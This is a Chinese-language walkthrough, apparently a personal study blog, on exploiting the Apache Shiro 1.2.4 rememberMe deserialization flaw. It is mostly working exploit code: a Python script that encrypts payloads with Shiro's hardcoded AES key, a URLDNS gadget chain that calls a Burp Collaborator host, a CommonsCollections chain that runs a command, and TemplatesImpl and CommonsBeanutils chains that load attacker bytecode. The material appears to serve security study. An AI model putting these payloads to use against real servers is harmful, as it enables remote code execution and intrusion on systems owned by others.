dnslog
下载https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
打开web项目,改一下pom.xml
添加version
这里返回了一个极大的cookie,根据经验来看,可能存储了用户的相关信息,推测可能是反序列化
两下shift 找到了这个
我们先看到这个rememberSerializedIdentity()方法可以清楚的看到对数组进行了base64加密操作,接着将base64存入了cookie中
这里的getRememberedSerializedIdentity()方法也可以看出来先获取了cookie中的值
返回了一个decoded数组,我们接着去看看谁调用的这个解码函数 也可以看到AbstractRememberMeManager类的getRememberedPrincipals()方法调用的
这里又接着去调用了decrpt()方法去解密
这里去get了密钥
我们去看看这个decryptionCipherKey是如何赋值的
这里我们也是主要去看set值的地方
接着找
接着找
可以看到这里的值是一个常量
这样我们就可以通过aes算法加base64来构造payload了
加个插件
这里发现cc只是在test阶段,也就是说cc链其实是没有被最后使用的,所以我们不能打cc链
先安包
pip install crypto
pip install pycryptodome
写一下aes利用代码
import sys
import base64
import uuid
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename,"rb") as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s:s +((BS - len(s)% BS) * chr(BS-len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s : s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))
如果还是不行的话就改一下文件名从小写crypto改成Crypto
urldns的链
package org.example;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class urldns {
public static void main(String[] args) throws Exception {
// 先得到入口点HashMap对象
HashMap<URL, Integer> objectObjectHashMap = new HashMap<>();
// 这里是得到url对象,也就是我们需要去利用的,准备好put进入hashmap
URL url = new URL("http://p9zs4jjd3p33527y055v96861x7nvc.burpcollaborator.net");
// 先利用反射将URL类的hashcode进行更改
// 获取url类的class对象
Class<? extends URL> urlClass = url.getClass();
// 获取hashCode属性
Field hashCodeField = urlClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,111);
// 到这里值已经准备好了
// 将准备好的值put进去
objectObjectHashMap.put(url,1);
// 将hashCode更改回-1
hashCodeField.set(url,-1);
serilize(objectObjectHashMap);
// unserilize("ser.bin");
}
public static void serilize(Object obj)throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserilize(String Filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object o = objectInputStream.readObject();
return o;
}
}
这里直接打的话还是root登录状态,但是其实我们已经换了key了,这说明这个jsessionid也在起作用
删去之后也是正常收到了dns请求
看一下怎么反序列化的 在DefaultSerializer类的deserialize()
接着我们知道这里的readObject之后就会调用到HashMap的readObject中,所以我们去HashMap下个断点
cc链
既然要打cc就需要加一个cc的依赖
这里如果直接用cc6来试试看
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// 现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap
// 这里原来放的是chainedTransformer 我们给他放一个空的
Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
objectObjectHashMap1.put(tiedMapEntry,"bbb");
// 这里将aaa删除
lazyMap.remove("aaa");
// 我们来改回factory
Class<LazyMap> lazyMapClass = LazyMap.class;
// 获取这个factory
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
// 这里我们在改回chainedTransformer
factoryField.set(lazyMap,chainedTransformer);
serialize(objectObjectHashMap1);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}
可见这里出现了问题
从这里看用的不是原生的readObject我们跟过去看看
这里可以看到重写了resolveClass,使用的是ClassUtils的forName,
原生的是CLass
可以看到这个注释
首先是加载一个HashMap
这里可以简单的理解为这个CLassUtil不能处理transform数组,而原生的可以处理,因此我们需要构造一条没有transform数组的链
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class SCC {
public static void main(String[] args) throws Exception {
// CC3
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
byte [][] codes = {code};
bytecodes.set(templates,codes);
// CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// 现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap
// 这里原来放的是chainedTransformer 我们给他放一个空的
Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
objectObjectHashMap1.put(tiedMapEntry,"bbb");
// 这里将aaa删除
lazyMap.remove(templates);
// 我们来改回factory
Class<LazyMap> lazyMapClass = LazyMap.class;
// 获取这个factory
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
// 这里我们在改回chainedTransformer
factoryField.set(lazyMap,invokerTransformer);
serialize(objectObjectHashMap1);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}
无依赖
删除
我们要打的就是左边lib的commons-benutils
在本地测试项添加依赖
Persion.java
package org.example;
public class Persion {
private String name;
public int age;
public void action(){
System.out.println("action test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Persion() {
}
public Persion(String name, int age) {
this.name = name;
this.age = age;
}
}
package org.example;
import org.apache.commons.beanutils.PropertyUtils;
public class BeanTest {
public static void main(String[] args) throws Exception{
Persion persion = new Persion("aaa", 18);
System.out.println(PropertyUtils.getProperty(persion,"name"));
}
}
源码下不下来 官网下https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.8.3/
走到了这里
可见这里走出来之后得到了这个
有个invoke方法
现在要去找谁调用考虑getProperty
找到了这个BeanComprator
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class BeanTest {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
byte [][] codes = {code};
bytecodes.set(templates,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties");
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}
测试一下,可以先清理一下,在重启apache
这里发现没有加载到这个ComparableComparator,原因是这个是cc的,我们需要改成不是cc的
可发现下面还有一个构造函数
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class BeanTest {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
byte [] code = Files.readAllBytes(Paths.get("D:\\Download\\cc\\target\\classes\\org\\example\\Test.class"));
byte [][] codes = {code};
bytecodes.set(templates,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}